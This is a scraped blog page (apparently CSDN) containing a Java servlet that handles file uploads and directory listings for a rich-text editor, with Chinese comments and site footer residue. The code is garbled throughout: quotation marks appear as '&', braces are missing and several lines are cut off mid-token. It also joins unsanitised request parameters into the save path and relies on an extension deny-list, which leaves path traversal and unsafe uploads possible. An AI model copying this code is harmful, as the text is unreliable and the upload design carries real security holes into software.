public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType(&text/ charset=UTF-8&);
response.setHeader(&Cache-Control&, &no-cache&);
PrintWriter out = response.getWriter();
String commandStr = request.getParameter(&Command&);
// 得到文件类型,Image,File,Flash,Media
String typeStr = request.getParameter(&Type&);
// 得到当前目录
String currentFolderStr = request.getParameter(&CurrentFolder&);
// 得到当前的真实路径
String currentPath = baseDir + typeStr + currentFolderS
String currentDirPath = getServletContext().getRealPath(currentPath);
String retVal = &0&;
String newName = &&;
if (!commandStr.equals(&FileUpload&))
retVal = &203&;
// 产生的上传对象,并设置编译
DiskFileUpload upload = new DiskFileUpload();
upload.setHeaderEncoding(&UTF-8&);
List items = upload.parseRequest(request);
Map fields = new HashMap();
Iterator iter = items.iterator();
while (iter.hasNext()) {
FileItem item = (FileItem) iter.next();
if (item.isFormField())
fields.put(item.getFieldName(), item.getString());
fields.put(item.getFieldName(), item);
FileItem uplFile = (FileItem) fields.get(&NewFile&);
String fileNameLong = uplFile.getName();
fileNameLong = fileNameLong.replace('//', '/');
String[] pathParts = fileNameLong.split(&/&);
String fileName = pathParts[pathParts.length - 1];
String ext = getExtension(fileName);
//为防止中文图片无法正确读取,在保存前,将图片名称改为uuid编码格式
fileName=UUID.randomUUID().toString()+&.&+
String nameWithoutExt = getNameWithoutExtension(fileName);
File pathToSave = new File(currentDirPath, fileName);
System.out.println(&pathToSave&+pathToSave);
int counter = 1;
int limitedSize=70*1024;//限制上传图片的大小
// 检查允许上传的文件类型是否为Image,是则再检查文件类型在web.xml配置
if ((this.checkImageType(allowedType, fileName))
&& (typeStr.equals(&Image&))) {
retVal = &202&;
System.out.println(&dd&);
} else if ((this.checkFileType(unallowedFileType, fileName))
&& (typeStr.equals(&File&))) {
System.out.println(&ddee&);
retVal = &202&;
//如果文件大小超过限制,则返回一个自定义的错误码
else if(uplFile.getSize()&limitedSize)
retVal=&204&;
while (pathToSave.exists())
newName = nameWithoutExt + &(& + counter + &)& + &.&
newName=UUID.randomUUID().toString()+&.&+
retVal = &201&;
pathToSave = new File(currentDirPath, newName);
counter++;
System.out.println(&namewithoutext:&+nameWithoutExt);
uplFile.write(pathToSave);
} catch (Exception ex) {
ex.printStackTrace();
retVal = &203&;
out.println(&&SCRIPT type='/&text/javascript/&'&&);
out.print(&&mce:script language='javascript'&&!--
window.parent.frames['frmUpload'].OnUploadCompleted(&+retVal + &,'& + newName + &');
// --&&/mce:script&&);
out.println(&window.parent.frames['frmUpload'].OnUploadCompleted(&
+ retVal + &,'& + newName + &');&);
out.println(&&/SCRIPT&&);
out.flush();
out.close();
private void setCreateFolderResponse(String retValue, Node root,
Document doc) {
Element myEl = doc.createElement(&Error&);
myEl.setAttribute(&number&, retValue);
root.appendChild(myEl);
private void getFolders(File dir, Node root, Document doc) {
Element folders = doc.createElement(&Folders&);
root.appendChild(folders);
File[] fileList = dir.listFiles();
for (int i = 0; i & fileList. ++i) {
if (fileList[i].isDirectory()) {
Element myEl = doc.createElement(&Folder&);
myEl.setAttribute(&name&, fileList[i].getName());
folders.appendChild(myEl);
private void getFiles(File dir, Node root, Document doc) {
Element files = doc.createElement(&Files&);
root.appendChild(files);
File[] fileList = dir.listFiles();
for (int i = 0; i & fileList. ++i) {
if (fileList[i].isFile()) {
Element myEl = doc.createElement(&File&);
myEl.setAttribute(&name&, fileList[i].getName());
myEl.setAttribute(&size&, && + fileList[i].length() / 1024);
files.appendChild(myEl);
private Node CreateCommonXml(Document doc, String commandStr,
String typeStr, String currentPath, String currentUrl) {
Element root = doc.createElement(&Connector&);
doc.appendChild(root);
root.setAttribute(&command&, commandStr);
root.setAttribute(&resourceType&, typeStr);
Element myEl = doc.createElement(&CurrentFolder&);
myEl.setAttribute(&path&, currentPath);
myEl.setAttribute(&url&, currentUrl);
root.appendChild(myEl);
* 得到文件名,没有扩展名
* @param fileName
private static String getNameWithoutExtension(String fileName) {
return fileName.substring(0, fileName.lastIndexOf(&.&));
* 得到文件的扩展名
* @param fileName
private String getExtension(String fileName) {
return fileName.substring(fileName.lastIndexOf(&.&) + 1);
* 检查上传Image类型的的文件类型,根据在web.xml配置的信息
* @param type
* @param fileName
private boolean checkImageType(String type, String fileName) {
System.out.println(type+&type&);
String[] ss = type.split(&//|&);
System.out.println(ss+&ss&);
if (type.length() & 0) {
for (int i = 0; i & ss. i++) {
if (this.getExtension(fileName).equalsIgnoreCase(ss[i])) {
System.out.println(ss[i]);
* 验证不允许上传的File类型的文件
* @param type
* @param fileName
private boolean checkFileType(String type, String fileName) {
String[] ss = type.split(&//|&);
if (type.length() & 0) {
for (int i = 0; i & ss. i++) {
if (this.getExtension(fileName).equalsIgnoreCase(ss[i])) {
System.out.println(ss[i]);
System.out.println(fileName);
&/textarea&
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:125997次
积分:1653
积分:1653
排名:第16780名
原创:33篇
评论:56条
(1)(1)(2)(1)(2)(2)(2)(7)(1)(4)(1)(5)(3)(1)(3)(2)}

我要回帖

更多关于 层序遍历 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信